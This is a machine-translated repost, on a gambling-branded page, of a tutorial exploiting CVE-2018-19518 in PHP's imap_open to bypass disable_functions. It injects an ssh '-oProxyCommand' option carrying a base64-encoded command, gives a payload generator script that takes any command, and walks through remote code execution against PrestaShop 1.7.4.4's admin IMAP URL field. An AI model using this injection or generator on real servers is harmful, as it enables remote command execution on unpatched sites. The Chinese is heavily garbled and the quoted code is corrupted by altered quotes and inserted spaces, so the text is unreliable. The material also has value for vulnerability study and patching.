如安在PHP装置中绕过disable_functions | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

如安在PHP装置中绕过disable_functions

申博_安全防护 申博 227次浏览 已收录 0个评论

本日,纵然治理员在PHP配置文件中设置disable_functions,我们也将探究一种令人兴奋的长途实行代码的要领。它适用于大多数盛行的类UNIX体系。

CVE-2018-19518破绽是@crlf孝敬的。让我们看看该破绽的详细信息和怎样应用它。

测试情况

关于测试支配,我们须要竖立一个测试情况。我将运用Debian 9体系的docker容器和一些平安选项设置为封闭举行调试。

docker run — rm -ti — cap-add=SYS_PTRACE — security-opt seccomp=unconfined — name=phpimap — hostname=phpimap -p80:80 debian /bin/bash

接下来,我们须要运用IMAP模块为大家和PHP装置编辑器。

apt update && apt install -y nano php php-imap

在本文的时刻,我从默许存储库装置了PHP版本7.0.30。

如安在PHP装置中绕过disable_functions

别的,我们须要ssh,由于每一个的效劳器都有ssh,对吧?:)

apt install -y ssh

若是要检察体系挪用,则须要装置strace对象。

apt install -y strace

如今,实验为我们的PHP装置增加一些平安性。要做到这一点,我只是谷歌“PHP禁用风险功用”

并运用搜刮效果中的第一个链接。是的,我在这里饰演一位超等妙技的治理员……

依据手册,我们须要将以下内容增加到配置文件disable_functions指令中。我们如许做。

echo ‘; priority=99’ > /etc/php/7.0/mods-available/disablefns.ini
echo ‘disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source’ >> /etc/php/7.0/mods-available/disablefns.ini
phpenmod disablefns

据推想,我们如今遭到珍爱,没法实行大多数风险功用。让我们看看我们能做些甚么。

如安在PHP装置中绕过disable_functions

甚么是IMAP?
为何我们须要回覆这个新鲜的题目?由于它是在体系中实行任何敕令的桥梁。Internet音讯接见协定(IMAP)是电子邮件客户端用于经由历程TCP / IP衔接从邮件效劳器检索电子邮件的Internet规范协定。IMAP由Mark Crispin于1986年设想为长途邮箱协定,与普遍运用的POP(一种用于检索邮箱内容的协定)构成对照。现在,IMAP由RFC 3501界说规格。IMAP的设想目的是许可多个电子邮件客户端完整治理电子邮件收件箱。因而,客户端一般会在效劳器上生存音讯,直到用户明白删除它们为止。IMAP效劳器一般侦听端口号143.默许情况下,IMAP over SSL(IMAPS)被分派端口号993。固然,PHP支撑IMAP开箱即用。为了使协定的事情更轻易,PHP有许多功用。在一切这些功用中,我们只对imap_open感兴趣。它用于翻开邮箱的IMAP流。该函数不是PHP中心函数; 它是从华盛顿大学开辟的UW IMAP对象包情况导入的 该库的最新版本大约在7年前于2011年宣布。

在PHP中挪用它的语法以下所示:

resource imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]] )

须要界说要衔接的效劳器时运用的mailbox参数。

{[host]}:[port][flags]}[mailbox_name]

除规范的主机,端口和邮箱称号,我们还能够运用一些标记。有关它的一切信息,请参阅官方手册页。与某些IMAP效劳器的规范衔接能够以下所示:

imap_open(“{mail.domain.com}:143/imap/notls}”, “admin”, “admin”)

中/ imap和/ notls是衔接标记。

检察凸起显现的/ norsh标记。IMAP许可您运用预先认证的ssh或rsh会话自动登录效劳器。当您不须要运用该功用时运用的标记然后默许实验运用该标记。每一个人都晓得ssh,然则谁晓得甚么是rsh?

如安在PHP装置中绕过disable_functions

甚么是rsh?

很久之前在ssh之前运用了长途shell(rsh)。它的劈头能够追溯到BSD Unix支配体系和rcp。它是1983年4.2BSD上rlogin软件包的一局部.Rsh厥后被移植到其他支配体系。然后,在1995年,引入了第一个版本的SSH协定。

rsh敕令与另一个罕见的UNIX实用顺序(受限定的shell)具有雷同的称号,该实用顺序最后出如今PWB / UNIX中。在System V Release 4中,受限shell一般位于/ usr / bin / rsh。但是,题目是,2018年依然是rsh?好吧,大多数盛行的相似Unix的发行版依然以某种体式格局运用它:

  • Ubuntu:链接到ssh
  • ebian:链接到ssh
  • Arch:rsh自身
  • 等等

如安在PHP装置中绕过disable_functions

破绽详细信息

检察imap2007f库的源代码。与衔接的事情道理主要功用是tcp_aopen在tcp_unix.c文件中界说。

/imap-2007f/src/osdep/unix/tcp_unix.c:

321: /* TCP/IP authenticated open
322: * Accepts: host name
323: * service name
324: * returned user name buffer
325: * Returns: TCP/IP stream if success else NIL
326: */
…
330: TCPSTREAM *tcp_aopen (NETMBX *mb,char *service,char *usrbuf)
331: {

让我们搜检是不是界说了ssh和rsh的途径。

/imap-2007f/src/osdep/unix/tcp_unix.c:

341: #ifdef SSHPATH /* ssh path defined yet? */
342: if (!sshpath) sshpath = cpystr (SSHPATH);
343: #endif
344: #ifdef RSHPATH /* rsh path defined yet? */
345: if (!rshpath) rshpath = cpystr (RSHPATH);
346: #endif

该代码通知我们若是没有界说SSHPATH,那末实验读取RSHPATH。一些源代码将资助我们找出SSHPATH界说发作的地位。事实上,它是IMAP保卫顺序读取配置文件/etc/c-client.cf。该DORC顺序剖析来自它和许多其他指令之间的信息SSH途径存在。若是已界说,则SSHPATH接收它。

/imap-2007f/src/osdep/unix/env_unix.h:

48: /* dorc() options */
49:
50: #define SYSCONFIG “/etc/c-client.cf”

/imap-2007f/src/osdep/unix/env_unix.c:

1546: /* Process rc file
…
1552: void dorc (char *file,long flag)
1553: {
…
1677: else if (!compare_cstring (s,”set ssh-path”))
1678: mail_parameters (NIL,SET_SSHPATH,(void *) k);

默许情况下它是空的,我们没法控制它,由于/ etc目次没有启用写入。但你能够实验深切发掘这个偏向,或许,你能够找到一个很好的进击向量。

如今我们跳转到RSHPATH界说。它位于构建自动化对象(make)配置文件 – Makefile中。分歧版本的发行版为其Makefile供应了分歧的途径。在大多数情况下,您能够在Linux上看到/ usr / bin / rsh途径。

/imap-2007f/src/osdep/unix/Makefile:

248: bs3: # BSD/i386 3.0 or higher
…
253: RSHPATH=/usr/bin/rsh \
…
261: bsf: # FreeBSD
…
266: RSHPATH=/usr/bin/rsh \
…
528: mnt: # Mint
…
533: RSHPATH=/usr/bin/rsh \
…
590: osx: # Mac OS X
…
594: RSHPATH=/usr/bin/rsh \
…
673: slx: # Secure Linux
…
681: RSHPATH=/usr/bin/rsh \

我把Debian 9作为我的测试情况,我有/ usr / bin / rsh作为RSHPATH,这是我的情况下ssh二进制文件的链接。

返回tcp_aopen并视察界说后会发作甚么。

/imap-2007f/src/osdep/unix/tcp_unix.c:

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

347: if (*service == ‘*’) { /* want ssh? */
348: /* return immediately if ssh disabled */
349: if (!(sshpath && (ti = sshtimeout))) return NIL;
350: /* ssh command prototype defined yet? */
351: if (!sshcommand) sshcommand = cpystr (“%s %s -l %s exec /etc/r%sd”);
352: }
353: /* want rsh? */
354: else if (rshpath && (ti = rshtimeout)) {
355: /* rsh command prototype defined yet? */
356: if (!rshcommand) rshcommand = cpystr (“%s %s -l %s exec /etc/r%sd”);
357: }
358: else return NIL; /* rsh disabled */

该代码天生一个敕令以在长途效劳器上实行rimapd二进制文件。让我们建立一个PHP剧本举行测试。

test1.php:

1: <?php
2: @imap_open(‘{localhost:143/imap}INBOX’, ‘’, ‘’);

然后运用带有execve体系挪用过滤的strace对象来视察剧本处置惩罚时期将实行的敕令。

strace -f -e trace = clone,execve php test1.php

如安在PHP装置中绕过disable_functions

如您所见,localhost是实行敕令的参数之一。这意味着我们能够在支配效劳器地点参数时支配敕令行。

让我们看看ssh二进制文件的选项,由于在Debian / usr / bin / rsh中是它的标记链接。这里有许多选项,固然,我们须要存眷-o。

如安在PHP装置中绕过disable_functions

用该选项,我能够在敕令行中通报任何指令,就像它们在配置文件中一样。看看ProxyCommand。在其资助下,您能够指定用于衔接效劳器的敕令。该敕令在用户的shell中实行。这正是我们须要的一个很好的应用!

让我们看看它怎样运用一个简朴的敕令:

如安在PHP装置中绕过disable_functions

ssh -oProxyCommand =“echo hello | tee / tmp / executed”localhost

如安在PHP装置中绕过disable_functions

该敕令已完整胜利。

好的,然则我们不克不及直接将它转移到PHP剧正本替代imap_open效劳器地点,由于在剖析时,它会将空格解释为分隔符和斜杠作为标记。荣幸的是,您能够运用$ IFS shell变量来替代空格标记或一般选项卡(\ t)。您能够在bash中运用Ctrl + V热键和Tab键插进去标签。

ssh -oProxyCommand =“echo hello | tee / tmp / executed”localhost

如安在PHP装置中绕过disable_functions

要绕过斜杠,能够运用base64编码和相干敕令对其举行解码。

echo“echo hello | tee / tmp / executed”| base64
> ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo =
ssh -oProxyCommand =“echo ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo = | base64 -d | bash”localhost

如安在PHP装置中绕过disable_functions

事情很棒!是时刻在PHP中测试它了。

test2.php:

1:<?php 
2:$ payload =“echo hello | tee / tmp / executed”; 
3:$ encoded_pa​​yload = base64_encode($ payload); 
4:$ server =“any -o ProxyCommand = echo \ t”。$ encoded_pa​​yload。“| base64 \ td | bash”; 
5:@imap_open('{'。$ server。'}:143 / imap} INBOX','','');

如今再次运用strace实行它并视察敕令行挪用的内容。

如安在PHP装置中绕过disable_functions

看看这些衔接。有我们一切的敕令,它们正在长途效劳器上运转。应用完成后,文件建立胜利。该敕令不是由PHP自身实行,而是由外部库实行,这意味着甚么都不克不及阻挠它实行,而不是事宜disable_functions指令。

PrestaShop RCE

如今让我们看看PrestaShop上的一个实在示例。它是一种免费增值的开源电子商务解决方案。该软件依据开放软件许可证宣布。它是用PHP编写的,支撑MySQL数据库治理体系。PrestaShop现在被环球约250,000家在线市肆运用。

起首,您须要装置具有最低请求的情况。

apt install -y wget unzip apache2 mysql-server php-zip php-curl php-mysql php-gd php-mbstring
service mysql start
mysql -u root -e “CREATE DATABASE prestashop; GRANT ALL PRIVILEGES ON *.* TO ‘root’@’localhost’ IDENTIFIED BY ‘megapass’;”
a2enmod rewrite

接下来,下载PrestaShop 1.7.4.4装置顺序并将其解压缩到web-root目次。

cd /var/www/html
wget https://download.prestashop.com/download/releases/prestashop_1.7.4.4.zip
unzip prestashop_1.7.4.4.zip
Start Apache2 daemon and surf your web-server to begin shop installation.
service apache2 start

如安在PHP装置中绕过disable_functions

胜利装置历程后,登录治理面板,转到客户效劳选项卡,然后检察客户效劳选项局部。有IMAP效劳器参数,您能够在其中找到IMAP URL。

如安在PHP装置中绕过disable_functions

检察AdminCustomerThreads控制器的源代码。

prestashop-1.7.4.4/controllers/admin/AdminCustomerThreadsController.php:

0948: // Executes the IMAP synchronization.
0949: $sync_errors = $this->syncImap();
…
0966: public function syncImap()
0967: {
0968: if (!($url = Configuration::get(‘PS_SAV_IMAP_URL’))
0969: || !($port = Configuration::get(‘PS_SAV_IMAP_PORT’))
0970: || !($user = Configuration::get(‘PS_SAV_IMAP_USER’))
0971: || !($password = Configuration::get(‘PS_SAV_IMAP_PWD’))) {
0972: return array(‘hasError’ => true, ‘errors’ => array(‘IMAP configuration is not correct’));
0973: }
0974:
0975: $conf = Configuration::getMultiple(array(
0976: ‘PS_SAV_IMAP_OPT_POP3’, ‘PS_SAV_IMAP_OPT_NORSH’, ‘PS_SAV_IMAP_OPT_SSL’,
0977: ‘PS_SAV_IMAP_OPT_VALIDATE-CERT’, ‘PS_SAV_IMAP_OPT_NOVALIDATE-CERT’,
0978: ‘PS_SAV_IMAP_OPT_TLS’, ‘PS_SAV_IMAP_OPT_NOTLS’));
…
1007: $mbox = @imap_open(‘{‘.$url.’:’.$port.$conf_str.’}’, $user, $password);

你能够在这里看到imap_open挪用用户数据$ url变量。

我将之前的剧本更新为PHP上的一个小负载天生器。它须要您想要作为参数实行的敕令。

payload.php:

1:<?php 
2:$ payload = $ argv [1]; 
3:$ encoded_pa​​yload = base64_encode($ payload); 
4:$ server =“any -o ProxyCommand = echo \ t”。$ encoded_pa​​yload。“| base64 \ td | bash}”; 
5:print(“payload:{$ server}”。PHP_EOL);

将天生的有用payload插进去URL输入并按生存。

如安在PHP装置中绕过disable_functions

瞧!长途实行代码破绽就在这里。

结论
本日,我们了解了一种绕过平安限定并完成长途代码实行破绽的新技术。看看在PrestaShop软件上运用它的实在天下示例,该软件依然没有能够解决题目的版本。然则,PHP开辟人员已宣布了针对此题目的补钉。不幸的是,Linux发行版中的存储库和软件包并没有像我们所喜好的那样疾速更新。

注重并实验在项目中制止不平安的imap_open函数挪用。

有一个很好的bug赏金;)


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明如安在PHP装置中绕过disable_functions
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址